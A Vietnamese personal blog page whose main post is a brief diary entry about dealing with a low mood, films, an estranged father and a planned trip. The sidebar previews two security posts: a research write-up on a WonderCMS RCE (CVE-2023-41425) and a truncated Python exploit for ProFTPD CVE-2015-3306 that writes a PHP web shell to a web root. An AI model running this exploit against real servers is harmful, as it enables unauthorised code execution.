Mình sống healthy vc

Thường thì suy người ta tìm đến tam giác quỷ, nhậu nhẹt - gái gú - thuốc lá. Cơ mà mình tìm phim để xem. Healing duy nhất giữa cuộc sống đời thường khó khăn. Không phải ko kể cho mấy khứa quen thân được nhưng mà chuyện cá nhân thì tự giải quyết vẫn hơn. -__-, nói thật mình ko đú được mấy cái trên do sợ bệnh tật vs ego mình ko cho phép

Ngoài ra để hết bị ám ảnh thì làm bản thân bận rộn là cách tốt nhất. -__-

Đcm biết khi nào mới suy lại tiếp đây, lần thứ 2 trong cuộc sống nhàm chán vô vị :DD Đáng để thử.

T không muốn làm người xấu nhưng lâu lâu trở về vai phản diện cũng chill phết :DDD Đơn giản vì bố là người xấu sẵn rồi, chả tốt đẹp gì.

T sẽ sống một cuộc đời của t, ko suy trước người khác nữa. /UwU/

Lần này xưng anh - em à :3 Ngon, hồi với K0n toàn mày - tao.


Mai đi phượt vậy.

Nhận xét

Đăng nhận xét

Bài đăng phổ biến từ blog này

CVE-2023–41425 but only RCE part

Hình ảnh
CVE-2023–41425 Lời nói đầu: Bài viết này có ở đây để mình hiểu sâu hơn về cách tìm lỗi trong các mã nguồn CMS, rất mong được mọi người đón nhận và sửa lỗi nếu có sai sót.  ---------------------------------------------------------------------------------------------------------------------------- Đầu tiên lên nvd.nist.gov để tìm hiểu lỗi. Như trên hình thì nó cho ta biết một lỗi XSS tại version 3.2.0->3.4.2 của Wonder CMS có thể dẫn đến RCE thông qua installModule component. Mình cũng nói trước là mình chỉ research RCE part, còn XSS thì mình sẽ không quan tâm mặc dù nó cũng trong phần Attack Chain Tiến hành download bản lỗi, tại đây mình download bản 3.4.2 cũng tức là bản đang có lỗi này.  Tại dòng 146, mình thấy có hàm installUpdateModuleAction(). Tuy nhiên, dòng 142 cho biết chúng ta phải đăng nhập mới có thể sử dụng tính năng này. -> cần xác thực Vì muốn hiểu cách thức RCE nên mình sẽ bỏ qua phần xác thực, tiến hành đăng nhập luôn Hàm này sẽ hoạt động như nào...
Đọc thêm

CVE-2015-3306

#!/usr/bin/env python3 import sys import socket import requests def exploit ( client , target ):     client .connect(( target , 21 )) # Connecting to the target server     banner = client .recv( 74 )     print ( banner .decode())     client .send( b 'site cpfr /proc/self/cmdline \r\n ' )     print ( client .recv( 1024 ).decode())     client .send( b 'site cpto /tmp/<?php system("id"); ?> \r\n ' ) # phpinfo() is just a PoC.     print ( client .recv( 1024 ).decode())     client .send( b 'site cpfr /tmp/<?php system("id"); ?> \r\n ' )     print ( client .recv( 1024 ).decode())     client .send( b 'site cpto /var/www/html/konchan.php \r\n ' )     print ( client .recv( 1024 ).decode())     client .close()     print ( 'Exploit Completed' ) def check ( url ):     req = requests . get ( url ) # Requesting the written PoC php file via HT...
Đọc thêm